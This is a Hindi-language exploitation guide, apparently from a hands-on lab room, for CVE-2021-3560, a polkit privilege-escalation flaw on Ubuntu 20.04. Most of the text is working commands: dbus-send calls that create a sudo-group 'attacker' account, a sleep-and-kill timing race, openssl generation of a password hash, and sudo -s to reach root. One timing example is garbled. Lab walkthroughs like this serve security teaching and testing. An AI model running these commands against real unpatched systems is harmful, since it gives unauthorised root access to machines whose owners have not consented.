
CVE-2021-3560 का शोषण करने के लिए चरण-दर-चरण मार्गदर्शिका, एक polkit विशेषाधिकार वृद्धि भेद्यता, जिसमें पृष्ठभूमि, भेद्यता विश्लेषण और मैन्युअल शोषण कमांड शामिल हैं।
2021 की शुरुआत में, केविन बैकहाउस नामक एक शोधकर्ता ने लिनक्स पॉलिकिट उपयोगिता में सात साल पुरानी विशेषाधिकार वृद्धि भेद्यता (जिसे CVE-2021-3560 नामित किया गया) की खोज की। सौभाग्य से, लिनक्स के विभिन्न वितरण (और यहां तक कि एक ही वितरण के विभिन्न संस्करण) सॉफ्टवेयर के विभिन्न संस्करणों का उपयोग करते हैं, जिसका अर्थ है कि केवल कुछ ही असुरक्षित हैं।
विशेष रूप से, निम्नलिखित मुख्यधारा के वितरण, अन्य के अलावा, असुरक्षित थे:
Red Hat Enterprise Linux 8 Fedora 21 (या बाद का) Debian Testing ("Bullseye") Ubuntu 20.04 LTS ("Focal Fossa") अब तक सभी ने अपने संबंधित पॉलिकिट पैकेजों के पैच्ड संस्करण जारी कर दिए होंगे, हालांकि, यदि आप इन वितरणों में से किसी एक का सामना करते हैं तो यह अभी भी असुरक्षित हो सकता है यदि इसे कुछ समय से अपडेट नहीं किया गया है।
इस कमरे के लिए हम विशेष रूप से Ubuntu 20.04 पर ध्यान केंद्रित करेंगे। कैनोनिकल ने पॉलिकिट के अपने संस्करण (policykit-1) के लिए एक पैच जारी किया, जिसका संस्करण संख्या 0.105-26ubuntu1.1 है। Focal Fossa के लिए apt रिपॉजिटरी में उपलब्ध अंतिम असुरक्षित संस्करण 0.105-26ubuntu1 है, इसलिए, यदि आप यह देखते हैं, तो आप भाग्यशाली हो सकते हैं!
हम इंस्टॉल किए गए पॉलिकिट संस्करण की जांच करने के लिए apt list --installed | grep policykit-1 का उपयोग कर सकते हैं:
अभी पूछा जाने वाला तार्किक प्रश्न है: "Polkit क्या है?"
Polkit लिनक्स प्राधिकरण प्रणाली का हिस्सा है। प्रभाव में, जब आप कोई ऐसी कार्रवाई करने का प्रयास करते हैं जिसके लिए उच्च स्तर के विशेषाधिकारों की आवश्यकता होती है, तो पॉलिसी टूलकिट का उपयोग यह निर्धारित करने के लिए किया जा सकता है कि क्या आपके पास आवश्यक अनुमतियाँ हैं। यह systemd के साथ एकीकृत है और पारंपरिक sudo प्रणाली की तुलना में अधिक कॉन्फ़िगरेबल है। वास्तव में, इसे कभी-कभी "systemd का sudo" भी कहा जाता है।
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1
यह कमांड मैन्युअल रूप से accounts डेमन को एक dbus संदेश भेजेगा, प्रतिक्रिया प्रिंट करेगा और attacker (string:attacker) नाम का एक नया उपयोगकर्ता बनाएगा जिसका विवरण "Pentester Account" (string:"Pentester Account") होगा और sudo समूह की सदस्यता सत्य पर सेट होगी ( theint32:1 फ्लैग द्वारा संदर्भित)।
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/UserUSER_ID org.freedesktop.Accounts.User.SetPassword string:'PASSWORD_HASH' string:'Ask the pentester'
यह फिर से accounts डेमन को एक dbus संदेश भेजता है, जिसमें एक उपयोगकर्ता के लिए पासवर्ड बदलने का अनुरोध किया जाता है जिसका आईडी हम निर्दिष्ट करते हैं (लाल रंग में दिखाया गया है), एक पासवर्ड हैश जिसे हमें मैन्युअल रूप से उत्पन्न करने की आवश्यकता है, और एक संकेत ("Ask the pentester")
चूंकि यह प्रभावी रूप से एक रेस कंडीशन है, हमें पहले यह निर्धारित करने की आवश्यकता है कि हमारी कमांड को चलने में कितना समय लगेगा। आइए इसे पहले dbus संदेश के साथ आज़माएं:
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1
उदा:
real 0m0.11s
user 0m0.002s
sys 0m0000s
इसमें 0.011 सेकंड या 11 मिलीसेकंड लगते हैं। यह संख्या हर बार जब आप कमांड चलाते हैं तो थोड़ी भिन्न होगी; हालांकि, प्रदान की गई मशीन पर यह हमेशा लगभग इसी संख्या के आसपास होनी चाहिए।
हमें कमांड को लगभग आधे निष्पादन में मारने की आवश्यकता है। प्रदान की गई मशीन पर पांच मिलीसेकंड आमतौर पर काफी अच्छा काम करता है; हालांकि, ध्यान रखें कि यह कोई सटीक चीज नहीं है। आपको स्लीप टाइम बदलने की आवश्यकता हो सकती है, या इसके काम करने से पहले कमांड को कई बार चलाना पड़ सकता है। ऐसा कहा जा रहा है, एक बार जब आप एक ऐसा समय पा लेते हैं जो काम करता है, तो इसे लगातार काम करना चाहिए। यदि आपको एक कार्य समय प्राप्त करने में संघर्ष करना पड़ रहा है, तो कमांड को bash for लूप के अंदर रखना और समय की एक श्रृंखला के माध्यम से जल्दी से चलाना आमतौर पर काफी अच्छा काम करता है।
आइए इसे आज़माएं। हमें dbus संदेश भेजना होगा, फिर इसे लगभग आधे में मारना होगा:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1 & sleep 0.005s; kill $!
उपरोक्त कमांड को समझाने के लिए, हमने dbus संदेश को एक पृष्ठभूमि जॉब में भेजा (कमांड को बैकग्राउंड करने के लिए एम्परसेंड का उपयोग करके)। फिर हमने इसे 5 मिलीसेकंड के लिए सोने (sleep 0.005s) के लिए कहा, फिर पिछली प्रक्रिया ($!) को मार दिया। इसने सफलतापूर्वक नया उपयोगकर्ता बनाया, उसे sudo समूह में जोड़ा।
हमें इस बिंदु पर ध्यान देना चाहिए कि इस उदाहरण में नए उपयोगकर्ता की उपयोगकर्ता आईडी 1000 है।
id attacker
अब हमें बस उपयोगकर्ता को एक पासवर्ड देना है और हम जाने के लिए तैयार हो जाएंगे!
हमें यहां एक पासवर्ड हैश चाहिए, तो आइए अपने चुने हुए पासवर्ड (Expl01ted) के लिए एक Sha512Crypt हैश उत्पन्न करें:
openssl passwd -6 Expl01ted
openssl का उपयोग करके, हम टाइप 6 (SHA512-crypt) का एक पासवर्ड और अपना सादा पाठ पासवर्ड (Expl01ted) उत्पन्न करते हैं।
अब इसे खत्म करते हैं! 5 मिलीसेकंड ने पिछली बार काम किया था, इसलिए इसे यहां भी काम करना चाहिए:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$TRiYeJLXw8mLuoxS$UKtnjBa837v4gk8RsQL2qrxj.0P8c9kteeTnN.B3KeeeiWVIjyH17j6sLzmcSHn5HTZLGaaUDMC4MXCjIupp8.' string:'Ask the pentester' & sleep 0.005s; kill $!
sudo attacker
sudo -l
sudo -s
https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/#about